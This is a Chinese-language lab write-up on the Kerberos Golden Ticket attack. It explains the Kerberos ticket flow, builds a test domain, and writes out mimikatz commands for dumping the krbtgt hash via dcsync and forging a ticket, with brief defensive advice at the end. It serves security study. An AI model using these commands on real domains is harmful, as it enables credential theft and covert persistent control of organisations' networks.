kerberos 协议
Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
在Kerberos协议中主要是有三个角色的存在:
- 访问服务的Client(以下表述为Client 或者用户)
- 提供服务的Server(以下表述为服务)
- KDC(Key Distribution Center)密钥分发中心 kerberos 测试工具介绍
其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。就是说Kerberos通过KDC为客户端和服务器之间的安全通信建立了一个可信任的第三方,客户端通过KDC颁发的票据来获得对服务器资源的访问权限,从而实现了安全的身份验证和授权机制。
kerberos简化认证图
- AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
- AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
- TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
- TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
- AP_REQ: Client拿着TGS票据去请求服务
- AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
黄金票据的原理和条件
原理
黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)
在使用黄金票据(Golden Ticket)攻击时,需要以下信息:
- 域名
- 域的SID 值
- 域的KRBTGT账户NTLM密码哈希
- 伪造用户名
kerberos请求小结:
- Client 上的用户请求KDC上的AS服务TGT
- Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)
- Client使用ST(TGS Ticket)访问Server
黄金票据作用
黄金票据常用于权限维持
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造tgt,重新获取域控的管理权限。
实验工具与环境
服务端:Windows Server 2003 Enterprise x64
客户端:Windows 7 旗舰版
工具:mimikatz
搭建域控环境:
Windows Server 2003 配置域服务器
点击开始->管理工具->配置您的服务器向导
下一步一直到
选择自定义配置
下一步选择域控服务器
下一步
下一步,选择“新域的域控制器”,下一步选择“在新林中的域”
自己起个名,ytdd.com
域NetBIOS名
下一步,默认
下一步,选择第二条
下一步
下一步设置还原密码“ytdd”,下一步
等待
遇到这个问题:
请将标为'WindowsServer2003nterprisex64 Edition CD-ROM’的光盘插入 CD-ROM 驱动器 ①:),然后单击“确定”
只需要在虚拟机设置里面使用原来的iso文件就行了
提示我们配置静态IP
配置静态的IP地址,先查看IP地址
写入
等待
配置完成后重启服务器
完成
点击开始->管理工具->管理您的服务器,点击管理Active Directory中的用户和计算机
找到ytdd.com下的Users目录,右键选择创建用户
点击下一步设置密码,也与win7虚拟机用户的密码一致(不确定这里究竟需不需要一致),选择密码永不过期;password(Ytdd233..)
可以看到新建的用户
设置完成后,打开cmd,输入gpupdate刷新策略;
至此设置完毕。
Windows 7 服务器配置
点击网络配置静态IP
右键计算机->属性,在计算机名称、域和工作组设置一栏中找到更改设置并点击;
点击更改,在弹出的窗口中填入信息。将计算机名命名为caixukun,修改隶属于ytdd.com域,点击确定,弹出窗口,需要输入域中的用户和密码。之前在域中也创建了名为caixukun的用户,输入用户名和密码,点击确定;
提示成功加入域
提示我们重启,立即重启
用户界面已经变了
查看域
黄金票据攻击复现
基本信息获取(SID,所处域)
这里直接在域控制权上进行操作
whoami /user 获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation 查看所处域
1、获取域名
whoami
net time /domain
ipconfig /all
3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值
用mimikatz
lsadump::dcsync /domain:ytdd.com /user:krbtgt /csv
客户端打开mimikatz,首先清除之前的票据,依次输入指令
kerberos::purge
kerberos::list
dir \\ytdd-bca237.ytdd.com\c$
进行黄金票据的制作。指令格式为:
kerberos::golden /user:普通域用户 /domain:域 /sid:域的SID /krbtgt:krbtgt的NTLM_Hash /ticket:名字.kirbi
则生成黄金票据的指令为:
kerberos:golden /user:caixukun /domain:ytdd.com /sid:S-1-5-21-1206714925-2034148990-4264453829 /krbtgt: /ticket:ytdd.kirbi
参考:
3. mimikatz
-
kerberos::golden
mimikatz的kerberos::golden模块可以用于制作黄金票据,票据格式是.kirbi
首先获取krbtgt的hash
image-20191012175213102
获取域的sid
image-20191104153401060
制作黄金票据
防护对策
- 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机,将所有其他权限委派 给自定义管理员组。降低攻击者访问域控制器的Active Directory的ntds.dit文件的可能。
- 定期更改krbtgt账户的密码。
建议参考:前言 | windows protocol